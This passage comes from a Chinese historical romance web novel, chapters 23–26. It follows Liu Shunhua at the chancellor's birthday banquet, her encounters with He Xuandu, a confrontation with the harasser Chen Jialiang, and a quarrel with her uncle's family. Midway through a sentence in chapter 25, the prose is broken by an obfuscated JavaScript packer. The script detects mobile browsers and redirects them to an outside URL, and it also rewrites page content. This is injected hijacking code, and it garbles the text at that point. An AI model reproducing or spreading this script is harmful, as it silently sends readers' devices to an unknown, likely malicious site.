眼见事情闹大,贺丞相终于坐不住了。 陈光祖指着贺玄度,抢先道:“姐夫,好端端的,他拿东西砸我。” 贺玄度冷声道:“那是他活该。” 贺丞相瞥了一眼贺玄度,“光祖怎么说也是你舅舅,是你的长辈,你一个小辈,怎可如此造次?” 贺玄度不屑一笑,“舅舅?他算我哪门子舅舅。我舅舅在凉州,是人人称赞的万都尉。” 贺丞相怒斥一声,“住口。” 尽管相距甚远,柳舜华依然感受到了贺丞相的怒气,不由得替贺玄度捏一把汗。 贺丞相一向喜怒不形于色,柳舜华也诧异,贺玄度究竟说了什么,怎么就触怒了他。 贺玄度置若罔闻,目光扫过陈光祖,“我舅舅清正廉直,有什么提不得的。就他这个窝囊废,还不配做我舅舅。” “竖子!” 贺丞相大怒,抓起一只酒杯朝着贺玄度掷去。 “咣当”一声,杯盏落地。 贺丞相也愣了,这一次,贺玄度竟没有躲开。 贺玄度直直地站在那里,举手摸向额头,许久,他缓缓放下手臂。 鲜血染红了他的双手,额上一片猩红。 人群中,不知是谁叫了一声,贺丞相才反应过来,沉声道:“愣着干吗,还不滚下去治伤。” 贺玄度没有动,只是静静看着贺丞相,眼中没有怨恨,亦也不见丝毫委屈。 眼神空洞又无力。 半晌,他垂眸轻笑一声,“劳父亲费心,我这就滚。” 因隔得太远,柳舜华听得不甚清楚,却瞧见贺玄度额头上鲜血淋漓。 她心急如焚,却不好上前,等贺玄度出了园子,才跟了上去。 贺玄度走得很快,越走越偏,穿过一个洞门后,便消失不见。 柳舜华四处寻了一圈,依旧不见人影,猛一抬头,整个人怔住了。 前面是,西竹院。 结草的灰瓦,斑驳的青墙,寂寥的院落中,一树海棠花开葳蕤。 破旧的木门深掩,遮住昔日的愤恨与不甘。 她胸中一阵淤堵,却还是忍不住向前走了几步。 院门并未上锁,轻轻一推便开了。 一道人影倏忽穿过,吓得她猛地往后一缩。 “柳舜华,怎么是你?” 柳舜华心怦怦直跳,扶着门框站定,才瞧清眼前之人是贺玄度。 她抚着胸口,惊魂未定,“我还要问你呢,你躲在这里做什么?” 贺玄度挑眉笑道:“你怎么知道我躲着,你跟踪我?” 柳舜华顺手关上门,走上前去,“谁跟踪你,我迷路了。” 贺玄度拎起手中的酒坛,“要不要一起喝一杯?” 柳舜华没搭话,歪头瞧着他额头上的伤。 她才将手帕掏出,贺玄度便一把将血抹了下来,摊在她面前,“假的,鸡血。我这里还有几个血包,很好用的,你要不要一个?” 柳舜华递帕子的手微微一顿,竟然是鸡血。 她默然无语。 差点又忘了,这才是如今的贺玄度。 她叹了口气,将帕子掷他怀里,“你也不嫌脏,擦擦吧。” 贺玄度拿过帕子,将手仔细擦了一遍,小心折起放进怀里。 柳舜华坐在廊下,对着院子发呆。 当初,老夫人去世后不久,贺玄晖看她碍眼,便随便找了个理由,将她挪到此处。 虽说远离了丞相夫人,不必再看她脸色,也少了许多刁难,但却要应付那些不开眼的丫鬟小厮,日子也并没有轻松许多。 那段日子,是她这辈子最灰暗的时刻。 不过还好,她遇上了贺玄度。 贺玄度走过来,坐在她身旁,“你看什么呢?” 柳 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她仰起头,语气颇为兴奋,“你小时候是什么样子,在这里过得如何?” 贺玄度垂头看着柳舜华,她一张鹅蛋脸微微抬起,目光温柔又殷切。 他笑了笑,仰头看着院落上高远的天空,晃悠着一双无处安放的长腿,“我小时候,自然是生得粉雕玉琢,人见人爱。” 柳舜华看着一脸狂放的贺玄度,张了张嘴,又缓缓闭上。 贺玄度的容貌自是无可挑剔,面如冠玉,一双桃花眼弯弯如月,不笑时亦带几分流转的春色,勾人心魄。 明明是同一张脸,却又判若两人。 上辈子因他过于清冷,周身仿若总覆着一层冰霜,让人很难仔细端详他的面容。是以这辈子,柳舜华每次想起贺玄度时,脑海中他的面容总是模糊的。 见她不说话,贺玄度用手肘碰了碰她,“你不说话,是不是觉得我还不够俊?” 柳舜华无奈,哑然失笑,“我是问,你小时候在这里过得如何?” 贺玄度歪头笑道:“胡说,你第一句,分明是问我小时候什么样。” 柳舜华不语,垂头轻笑。 她已经渐渐习惯了他的不着边际,只能由着他。 光影错落,交叠在她发间,她脸上是明媚的艳丽。海棠花瓣萦绕在她裙边,无边春景黯然失色。 贺玄度突然凑过去,直勾勾地望着她,“柳舜华,你是不是喜欢我?” 柳舜华浑身一震,猛地转过头,正对上他那一双水汪汪的桃花眼。 她从他眸中,看到了自己的仓皇无措。 风吹着荒草伏倒在她脚边,痒得人心乱。 她开口已是方寸大乱,“你胡说什么?我要走了。” 贺玄度按着她裙摆的手还未及抽开,柳舜华便已起身,仓皇间整个人倒了下去。 她身体腾空,双手忙下意识地乱抓,很快便摸到了结实的地面。 很奇怪,她摔了下去,却并不觉得多疼。 “快点起来,脚……支撑不住了。” 柳舜华垂头一看,贺玄度正费力伸出一只脚挡在她的背上,才让她没摔在地上。 她狼狈极了,忙爬起来,整理好衣衫,转身便想跑。 贺玄度收回脚,嘴角勾笑:“我同你说笑呢,你跑什么啊。” 柳舜华忙向他行礼致谢,慌慌张张便想逃离。 脚还未迈出,她整个人便被拎了起来,拽到角落里。 柳舜华被按在墙上,吓得不停挣扎,拼命捶打着贺玄度。 “别动,有人。” 窸窸窣窣的脚步声响起,有人推门走了进来。 头顶传来贺玄度细微的呼吸,他的下巴正抵在她的头上。 贺玄度怕墙壁撞疼了她,手臂一圈,将她紧紧揽在怀里。 她整个人埋在他胸前,有些喘不过来气,微微扭动了一下身子,突觉一道温热粗重的呼吸落在耳畔,抬头一看,贺玄度眼中已是灼热一片。 她身子一僵,一动也不敢动。 24. 第 24 章 “郡主为何今日突然出现?”男子轻柔的声音响在院落。 是贺玄晖与刘妉柔。 贺玄度与柳舜华皆是一惊,目光不期碰在一起。 从彼此眼中看到一丝震惊后,碍于眼前紧贴在一起的尴尬,双双默契地移开视线。 刘妉柔声音缱绻:“自然是……这里有我想见的人。” 贺玄晖淡声道:“若要相见,下次你可以提前通知我。” 刘妉柔满不在乎,“怎么了,贺大公子,你好像不喜欢看到我。” 贺玄晖沉默片刻,说道:“没有,只是郡主出现得过于突然。你一身下人装扮混进来,若被人发现,难免又要惹人非议,我是为郡主的名声着想。” 刘妉柔轻哼一声,“名声这种东西,最是无用。也就你们相府,不管内里如何,面子上无论如何都要过得去。” 这话虽直白,却说到了柳舜华心坎上。她原以为刘妉柔是个娇柔可人的美人,没想到言语竟如此犀利。 贺玄晖声音冷了下来,“还请郡主慎言。如此当面指责议论,实在有损郡主气度。” 刘妉柔淡声道:“你们相府如何,我不关心。我就是想问你,我们之事,你是如何打算的?是准备向你父亲争取,还是准备与我恩断义绝?” 贺玄晖久久无言,半晌后才道:“郡主今日来就是为了说这些? 却听刘妉柔道:“我过来,是想提醒你,我们之间的事,你要有分寸。还有,你母亲近来对你的亲事可是热络得很,你可莫要遭不住她的软磨硬泡,轻易娶了旁人。” 贺玄晖声音听不出任何情绪,“我知晓,你不必亲自跑来这一趟。” 刘妉柔娇笑一声,“你记得便好。” 两人说着,又往门边走了走,声音越来越小…… 直至关门声响起,脚步越来越远,院内终于静了下来。 贺玄度这才退后一步,放开柳舜华。 “事出突然,还望柳小姐勿怪。” 柳舜华一颗心碰碰直跳,身上还残留着他的气息,不同于前世清冷的荷香,而是一种无孔不入,铺天盖地灼热的馨香,像是陷入一场春日桃花雨。 她脑中早乱做一团,胡乱地点头。 突然贺玄度轻嘶一声,伸手按住脖颈处。 柳舜华下意识望去,只见贺玄度脖子上布满抓痕,一条条红印格外醒目。 她上前一步,关切道:“你没事吧?” 贺玄度将脖子伸到她跟前,“你说呢,下这么重的手,都出血了吧。” 柳舜华理亏,方才一时慌张,下手确实没有分寸,不想给他抓成这样。 她慌道:“要不要找个医士瞧瞧?” 贺玄度拉高衣领,盖住红痕,“若是让人知晓,不知又要传出什么风言风语,晚些我让洪声寻了药膏涂抹一下就好。” 柳舜华垂眸不语,他这伤处,确实有些让人难以言说的暧昧。贺玄度风评一向不好,若是再被有心人造言诽谤他祖母寿诞之日行荒淫之事,那他可真的是无立锥之地了。 她满脸歉意:“都是我不小心,对不起。” 贺玄度一笑,“这也没什么,下次小心一些便是了。” 柳舜华听他说下次,脸上倏忽一红,慌忙道:“你……你胡说什么呢?” 贺玄度随手拿起荒草丛埋起的酒坛,跨坐在廊下石阶上,“知道我爱乱说,还不快些走。再晚些,等有人寻到这里,你就说不清了。” 经他一提醒,柳舜华才觉她的确出来太久了。 怕柳棠华担心,她匆匆告别。 “柳舜华。”贺玄度突然叫住了她。 柳舜华回头看向贺玄度,他坐直了些,咳了声,“那个,过几天我要外出一趟。” 柳舜华一时没有反应过来他话里的意思,脸上带着几分茫然。 贺玄度也不知自己为何会叫住她,又为何同她说这些。 他突然有些尴尬,眼往下一瞥,“你……你脚下有块石头,毛毛躁躁的,走路也不看着点路。” 柳舜华垂头一看,脚边确实有块小石子。 她愣了一下,有些摸不着头脑,还是点头致谢。 出了西竹院,柳舜华回头,静静看着曾经住过的地方。 想到前世,她曾同贺玄度一样居住过这个地方。又想到方才……,柳舜华脸上飞红,昔日憋屈之感,竟有几分消减。 在相府生活三年,柳舜华对相府的路再熟悉不过。 她特意绕开良园,抄了个近道,往东苑宴席上去。 走了百余步,方要转过小路,便听到女子呼叫声。 这声音,柳舜华一怔,是妙灵。 前世,她嫁进相府时,只带了芳草一个丫头,丞相夫人安排的丫头也不甚不得力,老夫人便把自己身边伺候的妙灵给了她。 妙灵待她极好,在西竹院那段无人问津的日子,全靠她上下打点。因曾是老夫人身边之人,每每有求于贺玄晖之事,妙灵总会跑去周旋。 柳舜华快步走了出来,正瞧见一个男子对着妙灵动手动脚。 真是冤家路窄,又是丞相夫人的侄子,陈嘉良。 柳舜华心下鄙夷,陈家着一对叔侄,上行下效,真是一样的货色。 “妙灵,你怎么在这呢?”柳舜华喊道。 听到有人坏了自己好事,陈嘉良一脸不耐地转身。 看到柳舜华那刻,他瞬间换了副脸色,对着她毫无顾忌地上下打量起来。 柳舜华忍住恶心,朝妙灵道:“老夫人吃了酒,就等着你的醒酒汤呢,还不快些去准备。” 妙灵正被陈嘉良缠得脱不开身,眼见一个仙子般的救星,顾不得想她为何认识自己,忙跑了过去。 陈嘉良双手一挥,旁边的两个小厮便伸手拦住了她们的去路,他随后醉醺醺地跟了上来。 柳舜华冷眼瞧着他,“陈公子,妙灵可是老夫人的人。今日是老夫人的寿辰,你却这么明目张胆地动她的人,不怕得罪了老夫人?” 这里偏僻,少有人行,况今日丝竹琴乐不绝,便是呼叫,也不会有人听到。她只能寄希望于搬出老夫人,将他吓退。 陈嘉良眉头一皱,揉了揉额头,贼笑道:“我想起来了,我见过你。上次你帮贺玄度的时候,也是拿老夫人压我。” 柳舜华拉着妙灵往后退了一步,“妙灵本就是老夫人屋里的,不信,你大可去问。” “好,她是老夫人屋里的,我动不得,我放了她。”陈嘉良三角眼眯起,“可是你,今日是跑不掉了。” 说罢,他便生扑了过来。 柳舜华大骇,忙闪躲开,“你放肆,我是……” 到嘴的话突然停住了,情急之下,她下意识想以相府长媳的身份来压他,却发现,如今她早已与贺玄晖毫无干系。 陈嘉良一双鼠眼像看猎物一样瞧着她,“哦,你是谁,倒是说啊?整个长安,哪家权贵之女我不认识,你休想蒙我。” 妙灵受了惊吓,浑身颤抖,却还是颤巍巍地挺身挡在柳舜华身前,“陈公子,今日是老夫人寿辰,来的皆是贵客。你若在此惹事,得罪贵客,不怕相爷怪罪吗?” 陈嘉良脸色一沉,一巴掌扇在妙灵脸上,“你算个什么东西,今日宴席之上,贺玄度那个废物都奈何不了我们陈家,哪轮到你一个下人对我指手画脚。” 柳舜华忍无可忍,不管不顾,反手一巴掌回了过去。 这个时候,若是她还权衡利弊,那她和妙灵这些年的情谊,可当真是喂了狗了。 陈嘉良捂住脸,不可置信地看着柳舜华。 他一双眼里喷火,怒道:“你个小贱妇,也敢动手打我?” 说着,他一双手便朝她挥了过来,仓皇之中,柳舜华将头上的发簪拔下,紧紧握住手里。 陈嘉良挥出去的手被人按在半空,柳舜华抬头望去,看到了贺玄晖。 贺玄晖面无表情,猛地用力一带,陈嘉良一个趔趄,摔倒在地上。 柳舜华愣愣地看着贺玄晖,没想到他会突然出现。 贺玄晖看都没看地上的陈嘉良,径直走向柳舜华,关切道:“柳小姐,你没事吧?” 柳舜华有些恍神。 上辈子,她出手教训了陈嘉良,险些被他打回去。 贺玄晖撞见后,只是轻描淡写呵斥陈嘉良几句,并没有关心她是否受伤。 她突然觉得有些可笑。 原来,只要不是他的妻子,她也能像其他任何人一样,得到他的温柔与悲悯。 陈嘉良从地上 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柳舜华也有些发怔,印象中贺玄晖一贯面上温润有加,内心波澜不惊,仿佛所有的人与事都与他无关。可如今看贺玄晖对陈嘉良的态度,分明是厌恶至极,浑无上辈子那种兄弟间的亲厚。 陈嘉良不停挣扎,他喝了酒,力气极大,几个小厮又不敢下重手,很快便被他脱身。 他指着柳舜华,不依不饶,“今日这一巴掌,我定要打回去,谁也休想拦我。” 柳舜华脑海中飞快盘算着应对之策,若陈嘉良不依不饶,她只有将事情闹大了。今日贵客云集,丞相定不会当着众宾客的面包庇他这么一个登徒子。 只是如此一来,势必会让丞相府脸面有损。兄长婉拒丞相拉拢,一定会让贺丞相心生嫌隙。若再来这么一出,他们柳家与丞相府的梁子,算是结下了。 她不能连累兄长,必须要想一个两全其美的法子。 “她的脸也是你能打的,你可真是狂妄至极。” 花丛中缓缓走来一人,裙据飘扬,眉目间满是不屑。 陈嘉良望着来人呆愣了片刻,捂着头道:“表姐。” 贺容华越过他走到柳舜华身边,朝她笑了笑,这才转身,“她是我带来的,你要打她,不如连我一起打了如何?” 陈嘉良浑身一抖。 整个相府,他最怕的便是贺容华。 堂姐刚回府那段时日,他嫌弃她出身乡野,一时嘴快,言语中讥讽了她几句。谁料这个表姐二话不说,直接拎起案上的花瓶朝他头上摔去。 事后,她竟还趾高气扬反咬一口,诬他先动手。 姑姑对她有愧,事事顺着她,不由分说将他骂了一顿。 自那以后,他便知晓,贺容华不是他能惹得起的。 陈嘉良垂着头,“不敢,不敢。” 贺容华睨了他一眼,“既如此,那我可要带她走了。” 陈嘉良很识时务地退到一边。 柳舜华也想不了那么多,只先拉过妙灵,跟在贺容华身后。 贺容华经过贺玄晖身边,朝他点头示意,径直离开。 行至拱桥处,几人这才停下。 贺容华笑道:“过了桥,便是东苑,他不会追过来的。” 柳舜华点头,对着妙灵道:“你快些回去伺候老夫人吧,不过,别走小路了。” 妙灵一愕,她怎知她惯走小路。 还有方才,她一下叫出了她的名字,似乎与她极为熟稔,可她却不记得在哪里见过她。 碍于大小姐在,她也不好问,只向柳舜华道谢,一步三回头地离开。 妙灵一走,只余两人,柳舜华摸不清贺容华为何会帮她,一路都在琢磨。 贺容华往桥上走了几步,转头发现柳舜华还呆在原地,便笑着朝她招手,“柳小姐,怎么还不走。” 柳舜华挪了几步,走到桥中,忍不住问:“夫人,您为何要帮我?” 贺容华停下了脚步,柔柔一笑,“还能为什么,自然是为我那不争气的弟弟。” 柳舜华狐疑,“贺玄晖?” 贺容华摇头,“不,是宁儿。” 贺宁,正是贺玄度的名。 25. 第 25 章 贺容华是如今的丞相夫人陈氏的亲生女儿,怎么听起来,似乎与贺玄度关系更亲近。 贺容华知她心中疑虑,笑道:“你不必紧张,今日我过来时,宁儿找过我。他说上巳节长陵侯府的浮霞园内,你与容暄有些不快,让我帮忙留意,免得你被刁难。” 柳舜华心上生暖,怪不得她总感觉贺大小姐有意帮她,原来是贺玄度的意思。 贺容华上下打量着柳舜华,眼带笑意,“宁儿他一向不喜与女子过多亲近,他找上我的时候,我还有些稀奇,到底是怎样的女子,能让他这么混不吝的变得如此细心。今日一看到你,我便明白了。” 柳舜华尤怕给贺玄度惹麻烦,忙道:“贺二公子为人良善,没想到这点小事都记得,倒是麻烦夫人了。” 贺容华看穿她的心思,没有捅破,只是抬头笑了笑,“是啊,宁儿他一直都是个善良的孩子。” 当年籍籍无名的父亲攀上了太常卿,母亲怕她的存在影响了父亲的官运,便将她送到乡下。 收养她的那对夫妻,只当她是个没人要的野种,乡下的日子并不好过。 好不容易苦尽甘来被接回相府,初时父亲和母亲对她还有些愧疚。 他们见她言行粗俗,还想着为她请先生,让她多学学大家闺秀的做派。 她不愿学,依旧我行我素,在一场宴席上错漏百出后,父亲同母亲对她越来越失望,亲弟弟和妹妹们也以她为耻。 她在乡野十几年,一直如此,哪是说变就能变的。 她不明白到底做错了什么,当即收拾行礼,偷偷跑出了相府。 可出了门,却在郊外山林里迷了路,又扭伤了脚。 夜间的山林阴沉可怕,她抱着包裹蹲在地上哭。 她哭了半个时辰,没有等来父亲,更没有等来母亲,却等来了贺玄度。 贺玄度背着她,走回了相府…… 柳舜华看她神情,像是在回忆着什么,也不好接话,只是跟在她后面。 待过了桥,贺容华突然回头,问道:“方才你动手打了陈嘉良?” 柳舜华一顿,心想,到底是她亲表弟,这会怕是要算后账了。 她想了想,道:“实在是我一时心急,我不是……” “打得好!”贺容华打断了她的话。 “陈嘉良那个混账东西,我看他不顺眼许久了。只是我嫁了人,凡事是要顾忌些,不好动手。方才听说你打了他,别提多畅快了,只可惜没看到。” 柳舜华愣了片刻,然后笑了起来。这位贺大小姐,和想象中有点不太一样。 她这离经叛道的样子,同贺玄度还真有些像。 将柳舜华送回宴席,贺容华说要陪祖母说会话,并未一同入席。 柳棠华见柳舜华回来,终于放下心来,“姐姐怎么去那么久,我还以为你出什么事了呢。” 柳舜华一笑,“放心,我没事,只是迷了路。” 柳棠华指着身旁的食盒,兴高采烈,“姐姐你看,我带了好多点心呢,老夫人可真是个大好人。” 有了这些点心,柳棠华很快忘了方才的不快。 丞相夫人同那些贵夫人寒暄了片刻,有些疲倦,便由贺容暄陪着在水榭内小憩。 两人才坐下,丞相夫人眼一瞥,便见柳舜华袅袅而来,忍不住盯着她看了许久。 过了片刻,她对身侧的嬷嬷悄声道:“你去查查,这个柳小姐人品性情如何。” 贺容暄想到近日母亲上心兄长的婚事,猜到她的用意,不由冷哼一声,“母亲,不过是个上不得台面的人,查她作甚?” 丞相夫人压低声音,“你没瞧见,方才你祖母有意向着她?” “不过是祖母碰巧喜欢吃葡萄软糕,她误打误撞罢了。”贺容暄根本不当回事。 丞相夫人摇头,“没有那么简单,方才我瞧得真切,你祖母对她似乎格外喜欢。” 贺容暄不屑,“那又如何?” 丞相夫人叹了口气,“你啊,真以为这相府是我当家做主。我虽管着家,但那些值钱的田产、铺子可都攥在老太太手里。若是不能讨她欢心,将来她安排后事,将值钱的多数都留给那位,哭都没地方哭。” 贺容暄气恼道:“祖母就是偏心那人。” 丞相夫人无奈,“万氏先嫁进来,惯会笼络人心,不知给你祖母灌了多少迷魂汤,让你祖母对我一直心存偏见。这些年,你祖母对我一直不冷不热,我想亲近也没机会。你姐姐倒是讨她喜欢,哎,她那个性子,偏又指望不上。” 提到贺容华,贺容暄眉头一皱,“姐姐她哪里将咱们放在心上,在她眼里,咱们怕是连那个纨绔都比不上。” 丞相夫人拉过贺容暄的手,“那丫头与我有隔阂,我是指望不上她了。曦儿啊,你可要替娘争口气,没事多去你祖母那里,想办法多哄哄老夫人,不能让别人白白捡了便宜。” 贺容暄一脸不耐,“母亲,祖母待我也是不冷不热的,我可不想去那伺候人。再说了,咱们又不缺那点钱,就贺玄度那个样,给他再多,他也得守得住才行。” “曦儿,你也大了,该懂得为母亲分忧了。咱们上上下下这些吃的、穿的,哪里不都要钱,”丞相夫人沉下脸,低声道:“如今府内只是看着光鲜,内里应亏空不少,再不想办法,只能缩减开支了。” 丞相府这些年是积攒了不少家业,可她喜奢靡,不擅打理,又要帮衬着娘家那个无底洞,积年累月,很快便挥霍了个七七八八。 贺容暄哪知道这些,听到亏空,脱口道:“怎么会如此?” 丞相夫人道:“万氏嫁进来时,带了不少嫁妆,还有当时皇上的那些赏赐,都在她名下。当年她病故前,财资悉数交给了老夫人。若算起来,那些都是丞相府的私物,怎能让那纨绔都拿了去。” 贺容暄有些犯难,“母亲,祖母那边,我实在是不行。” 丞相夫人将目光投到柳舜华身上,“我听说,你父亲最近一直想拉拢这位柳小姐的兄长。” 贺容暄明白母亲的意思,“母亲糊涂,她这等身份,也配进咱们相府。” 丞相夫人沉下脸,“什么身份,难道当初我的身份就高了吗?依你的意思,非要她刘妉柔这样的才行?” 听母亲提到刘妉柔,贺容暄瞬间明白她为何不悦。 平阳王王妃,也就是刘妉柔的母妃,仗着自己出身高贵,一向对母亲多有轻视,每逢相交,必话里话外暗示母亲的出身。 她忙道:“母亲,任她刘妉柔再怎么高贵,若想嫁进来,不还是要看您的意思。” 丞相夫人嘴角一勾,“若是你兄长娶到一个贤妇,既能帮到你父兄,又能讨好你祖母,还能顺便羞辱一下平阳王府,一箭三雕,岂不让人痛快。” 柳舜华坐定,不见丞相夫人与贺容暄,心情顿时大好。 同柳棠华静坐在一旁,只等宴饮结束,早些与兄长回府。 两人正坐得有些无聊,便听到一阵议论。 “你们听说了吗,就在方才,陈家公子落水了。” “陈家公子,是哪个?” “陈嘉良啊。” 立时有人嗤笑一声,低声道:“他落水就落了,有什么要紧的。” 果如上辈子一样,陈嘉良落了水,只是时间提前了一点而已。 柳舜华听到,掩住笑意,转头问:“怎么好端端的落水了?” 有人轻笑:“说起来这个才好笑呢,竟有人说是大公子将陈嘉良推下了水。” 贺容暄不知什么时候走了过来,听到此处,她怒呵一声,“你们乱嚼什么呢,我兄长怎么可能做这种事?” 那名贵女不防贺容暄会过来,小声道:“我们自然都是不信的。是陈公子自己说的,我堂弟就在场,他亲耳听到的。” 贺容暄眉头紧锁,咬牙道:“这个陈嘉良,定是他喝醉了酒,胡乱攀咬。敢败坏我兄长名声,看我回头不撕烂他那张臭嘴。” 若说贺玄晖将陈嘉良推下水,柳舜华自是不信。 虽说陈嘉良酒后无状,出言得罪了他,但依着贺玄晖的性子,此等小事,他必不会放在心上。何况就算他再不喜陈嘉良,到底也是他表兄。他一贯知礼守节,最是清高,怎么可能推陈嘉良下水。 她并不关心陈嘉良如何落水,只当这是恶有恶报。 苦熬到宴席结束,柳舜华忙拉着柳棠华告辞,等着柳桓安一同回府。 马车很快驶出相府前的大路,柳舜华看着府门前的垂柳一步步退后,退后,退成一团云雾,慢慢消散。 贺玄晖,丞相夫人,贺容暄,一张张脸从她脑海中慢慢抹除…… 三人才下了马车,芳草便迎了上来。 贺玄晖见过芳草,为了不被认出,芳草便没跟去。 “少爷,小姐快去看看吧,二爷还有二奶奶正在老爷那闹呢。” 柳桓安连日操劳,晚间受了风寒,今日又饮不少酒,止不住咳了几声,“又闹什么呢?” 芳草道:“说是少爷小姐不顾兄妹之情,在相府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863689|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门前让蔓华小姐难堪。” 柳棠华一听,气道:“那是她自找的,不去反思,反倒过来闹。” 柳舜华无奈看向柳桓安,“兄长,走吧。” 正厅内,柳奉被两人吵得头疼,正摸着额头皱眉不语。 见三人走了过来,葛氏指着他们嚎了起来,“你们三个没良心的,竟让萋萋在府门前受尽委屈,你们好狠的心啊。” 柳仁跟着端起长辈的架子,“桓安,你是兄长,你说说怎么回事,怎么能看着自家妹妹受委屈呢?” 三人回府,尚未歇息,便被劈头盖脸一通指责,柳桓安心内已是有所不满。 他咳嗽几声,语气已有几分疏离,“二叔,叔母,若是我没记错,相府并未邀堂妹吧?” 柳仁见他如此,气得摇头,转向柳奉道:“老大这才高升,就摆起款了。自家妹妹不过是想跟着见见世面,人都到门口了,却被他不管不顾地给撵了回来。” 葛氏也跟着道:“萋萋也就是想和兄妹们多亲近亲近,却被这般羞辱,回家后哭得泪人一般。大哥您评评理,这日后,咱们两家还要不要来往?” 平日里,柳奉虽对这个二弟百般忍让,可却也不糊涂。 他沉声道:“二弟,弟妹,话都让你们说了,能不能先安安静静听听孩子们怎么说。” 柳仁与葛氏互相看了一眼,只能闭嘴。 柳桓安站定,慢条斯理道:“二叔,叔母,萋萋是如何说的,怎么你们就认定我们任由她受羞辱,袖手旁观了呢?” 他根本不往他们设的圈套里钻,反而将话题抛回给他们。 柳舜华忍不住暗自叫好,要说条理清晰,还得是兄长。 葛氏从未与柳桓安打过交道,平日里见他和和气气,便以为是个好对付,没想到他嘴上功夫竟也不弱。 柳仁愣了一下,思忖片刻,缓声道:“萋萋倒也没说什么,只是高高兴兴地去,回来哭得不成样子。我们怎么问,她都不肯说,只说在相府门前丢尽了颜面,再无脸见人了。” 这个二叔,一向喜欢避重就轻,最是个人精。 柳奉早被他们吵得又些不耐,听到此处,笑道:“原来如此,二弟,这其中必定是有误会。我看,你们还是先回去,问清缘由吧。” 葛氏脸色一僵,“大哥,你这是什么意思?是要包庇他们吗?萋萋难道不是他们的妹妹,不管什么缘由,任由妹妹在外受委屈,难不成还有理了。” 柳桓安气极,还未及辩白,又忍不住咳了几声。 这个叔母,今日在父亲面前尚且如此不分青红皂白,素日里还不知怎么苛待舜华与棠华。 他冷声道:“叔母,您这话说得不妥。我们兄妹并非犯了什么大罪,何需父亲包庇?” 柳仁见柳桓安变了脸色,忙道:“你叔母一时心急,说错了话,可她到底是长辈,你如此言辞疾厉,眼里还有没有长辈?” 柳舜华心内不屑,二叔与叔母还真是,不是一家人不进一家门。 每次站不住理,便会拿出长辈的架势来摆谱。 二叔一家,惯会吸血,每次过来闹,无非是想得到些好处。 这次他们东拉西扯,绝口不提此行的目的。 应是想寻个契机,以便顺理成章地提出来。 她冷眼旁观了许久,决定助他们一臂之力,早点结束这场闹剧。 柳桓安极重礼仪,拉不下脸面与二叔对峙,气得他又咳了起来。 柳舜华上前,站在柳仁面前,“二叔,您这么说,实在有失公允。难道不是叔母指责在先,兄长才做辩白。不过辩白几句,便被二叔说得如此不堪。二叔此举,落在外人眼里,才是包庇呢。” 柳仁被小辈驳了面子,脸上有些挂不住:“你……你个黄毛丫头,竟敢当面顶撞你叔父?真是反了天了!” 柳舜华恭敬道:“二叔,您总是这样随意指责,让人看了,难免有闲言碎语,说您没有疼惜晚辈的样子,我可不能让您担这么一个名声,我这分明是在维护您呢。” 柳仁站起身来,神情激动,“大哥,您就这么看着,让几个小辈如此放肆?” 柳舜华望向柳奉,见他面上似有所为难。 说到底,二叔敢在他们柳府如此行事,不过是仗着父亲对他的疼爱。 他毕竟是父亲从小看到大的幼弟,有难以割舍的亲情。 即便这次能顺利解决,难保不会有下次。 柳舜华心一狠,当断则断。今日,她必须要让父亲做个决断。 26. 第 26 章 柳舜华扑通一声跪在地上,“二叔,千错万错,都是侄女的错,您莫要逼我父亲。他还在病中,实在经不起您这样折腾。” 柳棠华一见柳舜华跪下,虽不明就里,还是跟着跪了下来。 柳仁傻眼了,他不过是想借机讨点好处,哪曾想两个侄女就这么给他跪下了。如此一来,岂不真坐实了他苛待晚辈的名声。 柳桓安看两个妹妹跪了下去,心内已是恼到极点。 他上前急道:“父亲,蓁蓁她们到底做错了什么,要让她们这么跪着?” 柳奉愈加不满,面上尽量维持平静,他凝眉道:“蓁蓁,芊芊,地上凉,你们快些起来。” 柳舜华起身,对着柳仁道:“二叔,方才我一时口不择言,请二叔莫要与侄女计较。还有,萋萋妹妹之事,的确是我们思虑不周。” 她转头望向葛氏,语气诚恳,“叔母,我们要做些什么,才好让萋萋妹妹不那么伤心难过?” 葛氏素日里拿捏惯了柳舜华,不知她心底的盘算,只当她上套了,当即喜笑颜开,“你们也知道,蔓华与府尹家公子的亲事黄了,这说到底,还是你叔父不争气,官位不高,门第不够。” 她笑道:“大哥,你看老大如今不但深受圣上信任,还被相府邀去参加寿宴,不如让他出面,给你二弟寻个正经的官做做如何?” 柳舜华虽早知叔母德行,也是震惊不已,她还真是敢想。 柳桓安也惊呆了,叔母这是疯了不成,如此无礼的请求,也说得出口。 柳奉脸上愈加难看,他看向柳仁,淡声道:“二弟,这也是你的意思?” 柳舜华幼时最是顽皮,不少惹父亲生气。 她了解父亲,此刻他已是愤怒的边缘,就看二叔能不能将这把火燃起来了。 柳仁在柳奉那里,一向求仁得仁,当即点头道:“大哥,萋萋一连遭受这么些委屈,我看着实在心疼。总不能因为我,耽误了她的大好姻缘吧。再说,我若得了官,咱们同气连枝的,你面上也有光不是。” 柳奉再忍不下去,一掌拍在桌上,杯盏晃动叮当作响。 “一派胡言。柳仁,这话你也说得出口。你的女儿是女儿,我的儿子便不是儿子?你竟要为你女儿的姻缘,去毁我儿前程?” 柳仁头一回见柳奉发这么大火,愣了片刻,慌忙道:“大哥误会了,我一向对大哥恭敬,对老大怜爱,我这么做,都是为了咱们柳家,怎么会断送老大的前途呢?” 柳奉懒得再与他周旋,冷笑一声,“为了柳家?这些年,你为了柳家做了什么?” 柳仁下意识想要反驳,可嘴一张开,却发现根本无话可说。 柳奉揉着头,“你口口声声说对老大怜爱,可自打老大进屋,脸色苍白,咳个不停。你作为叔父,只一味责怪于他,可曾关心过他一句。” 他满脸失望,“我今日身体欠佳,已是强撑着起来,蓁蓁方才亦提醒过你,我尚在病中,你……” 柳仁并非没心,当即羞愧得低下头。 柳奉叹了一口气,狠下心来,“还有,方才我一直不好说,总觉得说了,显得有失偏颇,又伤了咱们兄弟的情分。既然话都说到这个份上,索性一起说了吧。” 